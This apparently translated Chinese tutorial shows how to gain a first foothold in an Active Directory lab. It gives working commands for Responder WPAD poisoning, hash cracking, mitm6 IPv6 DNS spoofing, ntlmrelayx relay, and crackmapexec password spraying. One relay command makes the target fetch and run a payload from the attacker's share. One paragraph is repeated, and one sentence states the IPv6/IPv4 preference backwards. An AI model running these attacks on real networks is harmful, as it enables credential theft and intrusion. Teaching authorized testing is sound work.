0x01 前言
我有几个客户在渗透测试之前来找我,说他们的系统安全做得非常好,因为他们的漏洞扫描显示没有严重的漏洞并且已准备好进行安全测试,这使我在15分钟内利用AD中的错误配置获得了域管理员权限。
我在渗透测试领域看到的一个教育缺陷是当前涉及渗透Active Directory(AD)方面缺乏知识。不幸的是,OSCP并没有覆盖AD测试,甚至连sans-gpen课程也很少涉及它。本文的目标是帮助展示我过去在对AD的安全测试中使用的一些技术,工具和方法。这绝不是一遍关于每种方法或工具的综合性手册。在本系列中,我将使用kali linux 2019,并通过虚拟机在自己的虚拟域上操作。
让我们首先说明目标:渗透测试的目标是识别攻击者为破坏网络而使用的任何可能的攻击向量。它不是为了获得域管理员权限。
现在我们有了一个目标,我们遵循了几个步骤来实现它。下面是关于测试环节的(粗略)图示指南。
概要:一个客户机雇佣您在他们的网络上进行渗透测试,该网络使用Active Directory。没有提供任何有关的信息,也没有任何登录凭据,也没有攻击范围,也没有进入客户公司前门的凭证,但是你可以设法从后门尾随进入,找到一个有IP电话的隐蔽房间。拔下IP电话的插头,插入笔记本电脑,发现自己在客服公司同一局域网内。下一步是什么?获得权限立足点。
由于没有信任证书,我们可以进行的侦察数量有限,而且几乎在整个周期的每一步都会进行侦察,但是我们可以立即采取一些措施来立足于网络。首先,因为我们有网络访问权限,所以只需通过ifconfig或ipconfig检查我们所在的子网。获得IP后,在nmap中执行ping扫描以查看是否可以访问其他设备。
nmap -sn 192.168.1.1/24
如果显示ping返回,那么该网络设备可网络连通。如果什么都没有得到,可能是ICMP被禁用,那么网络上没有其他设备,或者由于您没有经过身份验证,您无法与其他设备通信,并且可能被身份安全解决方案(如Cisco ISE)阻止。为了本文的目的,假设我们已经和一些设备网络连通,并且能够成功地对它们执行ping操作。
接下来,我们将使用一个名为Responder的工具,或者如果你偏爱Windows,那么Inveigh。这两个工具的作用是检查AD中非常常见的错误配置,从而导致WPAD和NBT-NS中毒的能力。默认情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会验证发送代理文件的人员,允许攻击者发送欺骗性答案然后请求凭据。
接下来,我们将使用一个名为Responder的工具,或者如果您偏爱Windows和Inveigh。这两个工具的作用是检查AD中常见的错误配置,从而导致WPAD和NBT-NS投毒。情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在企业组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会对发送代理文件的人进行身份验证,从而允许攻击者发送一个欺骗的答案,然后请求凭据。
在Kali中,默认安装 responder
responder -I eth0 --wpad
在我的Windows 7计算机上,我打开Internet Explorer并转到Google,然后启动对WPAD文件的搜索。在Responder中,我看到请求通过,然后Responder自动用挑战回复请求,这导致受害者发送他们的用户名和哈希密码(以NTLMv2格式)
有了这个哈希表,我们可以做一些事情。我们可以尝试破解它,或者使用ntlmrelay.py之类的工具进行中继。我在该文章中阐述了如何转发NTLM哈希,所以我将继续阐述如何破解它,因为这通常是我在计划时所做的。
说实话,我很少在linux/kali上破解密码。我使用的是一个nvidia GPU显卡,它从来没有在Kali上被正确安装过,而且Windows上有hashcatgui,这使得它更简单容易并将使用它。我把收集到的哈希值存储到一个名为“hash.txt”的文件中,并对其运行一些简单规则和输入输出设置,但在本文中,我只是使用了字典rockyou.txt并运行它,它在一秒内就成功破解了哈希值。
我对HashcatGUI的设置
现在我们成功破解了密码,我们有登录凭据Alice:Password!
在继续之前,我想展示一些其他的方法,以防 Responder 程序不起作用。
假设客户端的网络正在使用合法的WPAD PAC文件,并且您的欺骗无法正常运行。还有另一种技术利用IPv6和DNS将凭证中继到目标。默认情况下,IPv6已启用且实际上优先 于IPv4,这意味着如果计算机有IPv6 DNS服务器,则它将使用IPv4。此外此外,默认情况下,Windows计算机通过DHCPv6请求查找IPv6 DNS服务器,如果我们使用假的IPv6 DNS服务器进行欺骗,我们可以有效地控制设备查询DNS的方式。更多内容可以在这里阅读。
首先,下载mitm6
git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .
然后针对目标网络工作组运行它。因为我们以前做过一次ping扫描,所以也获取到了netbios名称,显示目标域是lab.local
以下是我运行mitm6之前目标上的IP设置。
注意DNS服务器
然后运行mitm6
mitm6 -d lab.local
现在目标上的DNS服务器已经被更改
注意IPv6地址作为DNS服务器
现在真正的漏洞是Windows下IPV6比IPV4的攻击更好,这意味着现在已控制DNS。
所以现在利用这样一个事实:我们通过Ntlmrelayx.py再次欺骗WPAD响应来控制DNS。在这里,我写了一篇关于如何设置它的指南。
在一个窗口中运行mitm6时,同时打开另一个窗口并运行ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
-wh: 托管WPAD文件的服务器(攻击者的IP)
-t: 目标(您无法将凭据中继到您正在欺骗的同一设备中)
-i:打开一个交互式shell
从这里我们可以通过netcat连接到shell,就好像我们有一个完全交互的SMB shell,或者我们可以通过-c(命令)发送一个Empire stager。实际上,你的选择仅限于ntlmrelayx.py所能做的。在这种情况下,我使用-c命令来执行silenttrinity有效payload。我在这里写了关于如何使用SILENTTRINITY的文章。
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'
但是,在本例中,msbuild.exe在这种情况下不构建XML文件,而且我也没有返回silenttrinity的连接,因为这太容易了。相反,我查看我的SMB服务器并查看中继哈希
然后反而我成功地破解了它
现在,我们成功地在不使用Responder的情况下拥有网络凭据
CrackMapExec本质上是一把瑞士军刀。从密码喷洒和哈希传递到命令执行,它应该在每个渗透测试工具包中被使用
如果其他都失败了,我们可以尝试密码喷洒。这个方法之所以是最后一个,是因为密码被锁定。密码锁定并不像您想象的那样常见,这允许攻击者对用户名使用字典进行攻击。获取用户名是第一步,可以通过OSInt和使用信息收集器来完成。如果我们没有来自osint的用户名,我们也可以给crackmapexec(cme)一个用户名字典表,但是为了时间的缘故,我们假设有用户名rsmith。
如果您使用的是Kali的较新版本,则默认已安装了CrackMapExec,但如果不是,则可以安装它
apt-get install crackmapexec
由于我们在扫描中识别出网络上的设备,因此我们可以向CME提供与用户名配对的密码字典并尝试登录。
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~ / Documents / wordlists / fasttrack.txt --shares
几秒钟后,就会获取到密码。
这可能看起来是CTF-Y,但season:year 是一个非常流行的密码组合。
有了这些找到的凭据,我们现在拥有了一个常规的用户帐户,并将下文中继续提升权限
在上文中,我以三种不同的方式获得了域的凭据。在本文的大部分内容中,我将使用rsmith用户凭据,因为它们权限是低级别的,这将使我们进行权限提升
当然,Windows中的权限提升可以来自缺少的补丁或不带引号的服务路径系统,但由于这是对AD的测试,我们将利用一些AD内容来提升权限。
有了网络凭据,我们现在应该先进行一些信息收集,然后再直接查看未打的补丁漏洞。有一些工具和技术会对我们有所帮助。